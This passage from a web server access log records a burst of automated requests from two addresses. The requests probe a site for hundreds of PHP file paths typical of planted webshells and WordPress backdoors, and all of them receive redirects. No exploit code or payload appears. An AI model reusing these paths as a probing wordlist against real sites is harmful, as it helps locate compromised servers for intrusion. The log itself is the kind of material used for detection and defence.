"Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 138.199.19.193 - - [23/Apr/2025:03:19:59 -0400] "GET /options.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 138.199.19.191 - - [23/Apr/2025:03:19:59 -0400] "GET /ws.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:19:59 -0400] "GET /xt/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 138.199.19.191 - - [23/Apr/2025:03:19:59 -0400] "GET /service.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:19:59 -0400] "GET /index.php?x=ooo HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:19:59 -0400] "GET /wp-blog.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 138.199.19.191 - - [23/Apr/2025:03:19:59 -0400] "GET /x.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:19:59 -0400] "GET /moded.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 138.199.19.191 - - [23/Apr/2025:03:19:59 -0400] "GET /app.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 138.199.19.193 - - [23/Apr/2025:03:19:59 -0400] "GET /wp-content/plugins/file.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 138.199.19.191 - - [23/Apr/2025:03:19:59 -0400] "GET /.well-known/acme-challenge/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:19:59 -0400] "GET /wp-content/banners/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 138.199.19.191 - - [23/Apr/2025:03:19:59 -0400] "GET /login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 138.199.19.191 - - [23/Apr/2025:03:19:59 -0400] "GET /poi.PhP8/search.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 138.199.19.193 - - [23/Apr/2025:03:19:59 -0400] "GET /wp-includes/images/include.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:19:59 -0400] "GET /wp-info.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:19:59 -0400] "GET /.tmb/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 138.199.19.191 - - [23/Apr/2025:03:19:59 -0400] "GET /install.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:20:00 -0400] "GET /post.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 138.199.19.191 - - [23/Apr/2025:03:20:00 -0400] "GET /eew.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 138.199.19.191 - - [23/Apr/2025:03:20:00 -0400] "GET /brand.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:20:00 -0400] "GET /.well-known/alfanew.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:20:00 -0400] "GET /la.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:20:00 -0400] "GET /wp-content/themes/signify/firkon.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 138.199.19.191 - - [23/Apr/2025:03:20:00 -0400] "GET /wp-content/plugins/seox/randkeyword.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 138.199.19.193 - - [23/Apr/2025:03:20:00 -0400] "GET /wp-admin/network/plugins.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 138.199.19.191 - - [23/Apr/2025:03:20:00 -0400] "GET /index.html HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 138.199.19.191 - - [23/Apr/2025:03:20:00 -0400] "GET /wp-admin/images/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:20:00 -0400] "GET /upgrade.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 138.199.19.193 - - [23/Apr/2025:03:20:00 -0400] "GET /wp-admin/css/colors/coffee/lofter.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:20:00 -0400] "GET /defaults.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 138.199.19.191 - - [23/Apr/2025:03:20:00 -0400] "GET /wp-content/plugins/pwnd/1.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 138.199.19.193 - - [23/Apr/2025:03:20:00 -0400] "GET /wp-admin/images/cloud.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 138.199.19.191 - - [23/Apr/2025:03:20:00 -0400] "GET /kevinpngjpg.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 138.199.19.191 - - [23/Apr/2025:03:20:00 -0400] "GET /wp-admin/css/colors/blue/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:20:00 -0400] "GET /gh.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:20:00 -0400] "GET /wp-includes/fonts/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:20:00 -0400] "GET /wp-includes/Requests/Auth/images.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 138.199.19.191 - - [23/Apr/2025:03:20:00 -0400] "GET /index/eew.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:20:00 -0400] "GET /wp-content/plugins/core-plugin/include.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 138.199.19.191 - - [23/Apr/2025:03:20:00 -0400] "GET /wp-content/themes/cay-van-phong/kevinpngjpg.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 138.199.19.193 - - [23/Apr/2025:03:20:00 -0400] "GET /wp-content/themes/seotheme/dropdown.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 138.199.19.193 - - [23/Apr/2025:03:20:00 -0400] "GET /wp-content/plugins/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 138.199.19.191 - - [23/Apr/2025:03:20:00 -0400] "GET /test.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:20:00 -0400] "GET /head.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 138.199.19.191 - - [23/Apr/2025:03:20:00 -0400] "GET /aj.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 138.199.19.193 - - [23/Apr/2025:03:20:00 -0400] "GET /hehe.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 138.199.19.191 - - [23/Apr/2025:03:20:00 -0400] "GET /wp-admin/images/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 138.199.19.193 - - [23/Apr/2025:03:20:00 -0400] "GET /wp-includes/rest-api/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:20:00 -0400] "GET /.tmb/file.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 138.199.19.191 - - [23/Apr/2025:03:20:00 -0400] "GET /wp-content/plugins/devvn-quick-buy/kevinpngjpg.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 138.199.19.191 - - [23/Apr/2025:03:20:00 -0400] "GET /wp-header.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:20:00 -0400] "GET /index1.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 138.199.19.193 - - [23/Apr/2025:03:20:01 -0400] "GET /wp-content/plugins/erin/pgs.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 138.199.19.193 - - [23/Apr/2025:03:20:01 -0400] "GET /as.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:20:01 -0400] "GET /wp-includes/theme-compat/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 138.199.19.191 - - [23/Apr/2025:03:20:01 -0400] "GET /cong.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 138.199.19.191 - - [23/Apr/2025:03:20:01 -0400] "GET /wp-content/moon.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 138.199.19.193 - - [23/Apr/2025:03:20:01 -0400] "GET /theme-insqbzk.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 138.199.19.191 - - [23/Apr/2025:03:20:01 -0400] "GET /wp-admin/includes/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:20:01 -0400] "GET /images.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 138.199.19.191 - - [23/Apr/2025:03:20:01 -0400] "GET /baxa1.phP8 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 138.199.19.193 - - [23/Apr/2025:03:20:01 -0400] "GET /wp-content/plugins/linkpreview/db.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 138.199.19.191 - - [23/Apr/2025:03:20:01 -0400] "GET /wp-includes/class-json-ajax-session.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:20:01 -0400] "GET /wp-admin/network/xmrlpc.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 138.199.19.191 - - [23/Apr/2025:03:20:01 -0400] "GET /hui.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 138.199.19.193 - - [23/Apr/2025:03:20:01 -0400] "GET /good.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:20:01 -0400] "GET /wp-admin/js/widgets/about.php7 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 138.199.19.193 - - [23/Apr/2025:03:20:01 -0400] "GET /up.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 138.199.19.191 - - [23/Apr/2025:03:20:01 -0400] "GET /profile.php6 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:20:01 -0400] "GET /css.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 138.199.19.191 - - [23/Apr/2025:03:20:01 -0400] "GET /wp-admin/css/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 138.199.19.191 - - [23/Apr/2025:03:20:01 -0400] "GET /oo.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 138.199.19.193 - - [23/Apr/2025:03:20:01 -0400] "GET /wp-22.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 138.199.19.191 - - [23/Apr/2025:03:20:01 -0400] "GET /wp-admin/css/colors/blue/blkqvmih.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 138.199.19.191 - - [23/Apr/2025:03:20:01 -0400] "GET /wp-admin/network/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:20:01 -0400] "GET /index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:20:01 -0400] "GET /wp-includes/images/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 138.199.19.191 - - [23/Apr/2025:03:20:01 -0400] "GET /data.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 138.199.19.193 - - [23/Apr/2025:03:20:01 -0400] "GET /wsoyanz.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:20:01 -0400] "GET /wp-includes/certificates/file.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 138.199.19.191 - - [23/Apr/2025:03:20:01 -0400] "GET /home.php?xsec=team2 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:20:01 -0400] "GET /wp-content/plugins/wp-help/mini.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 138.199.19.191 - - [23/Apr/2025:03:20:01 -0400] "GET /autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 138.199.19.191 - - [23/Apr/2025:03:20:01 -0400] "GET /wp-includes/css/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:20:01 -0400] "GET /wp-content/plugins/simple/simple.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:20:01 -0400] "GET /wp-includes/fonts/css.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:20:01 -0400] "GET /bless.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 138.199.19.191 - - [23/Apr/2025:03:20:01 -0400] "GET /wp-content/plugins/ioptimization/IOptimize.php?rchk HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 138.199.19.193 - - [23/Apr/2025:03:20:02 -0400] "GET /indeks.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 138.199.19.191 - - [23/Apr/2025:03:20:02 -0400] "GET /themes.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 138.199.19.191 - - [23/Apr/2025:03:20:02 -0400] "GET /wp-admin/maint/classwithtostring.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 138.199.19.193 - - [23/Apr/2025:03:20:02 -0400] "GET /lufix.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:20:02 -0400] "GET /wp-content/plugins/envato-market/inc/class-envato-market-api.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 138.199.19.193 - - [23/Apr/2025:03:20:02 -0400] "GET /wordpress/update/bibil.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 138.199.19.191 - - [23/Apr/2025:03:20:02 -0400] "GET /.well-known/moon.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 138.199.19.193 - - [23/Apr/2025:03:20:02 -0400] "GET /avaa.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:20:02 -0400] "GET /wp-admin/network/cloud.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:20:02 -0400] "GET /about.php?525 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 138.199.19.191 - - [23/Apr/2025:03:20:02 -0400] "GET /randkeyword.PhP8 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 138.199.19.193 - - [23/Apr/2025:03:20:02 -0400] "GET /wp-content/plugins/seoo/xynz1.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 138.199.19.191 - - [23/Apr/2025:03:20:02 -0400] "GET /wp-includes/ID3/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 138.199.19.191 - - [23/Apr/2025:03:20:02 -0400] "GET /.well-known/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:20:02 -0400] "GET /wp-content/file.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 138.199.19.191 - - [23/Apr/2025:03:20:02 -0400] "GET /wp-includes/Text/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 138.199.19.193 - - [23/Apr/2025:03:20:02 -0400] "GET /wp-content/tmpls.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:20:02 -0400] "GET /css/cloud.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 138.199.19.191 - - [23/Apr/2025:03:20:02 -0400] "GET /ss.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 138.199.19.193 - - [23/Apr/2025:03:20:02 -0400] "GET /wp-admin/images/file.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 138.199.19.191 - - [23/Apr/2025:03:20:02 -0400] "GET /components/com_jea/views/form/tmpl/size.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:20:02 -0400] "GET /update/403.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 138.199.19.191 - - [23/Apr/2025:03:20:02 -0400] "GET /wp-admin/network/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:20:02 -0400] "GET /wp-content/themes/travel/issue.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 138.199.19.191 - - [23/Apr/2025:03:20:02 -0400] "GET /xml.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) 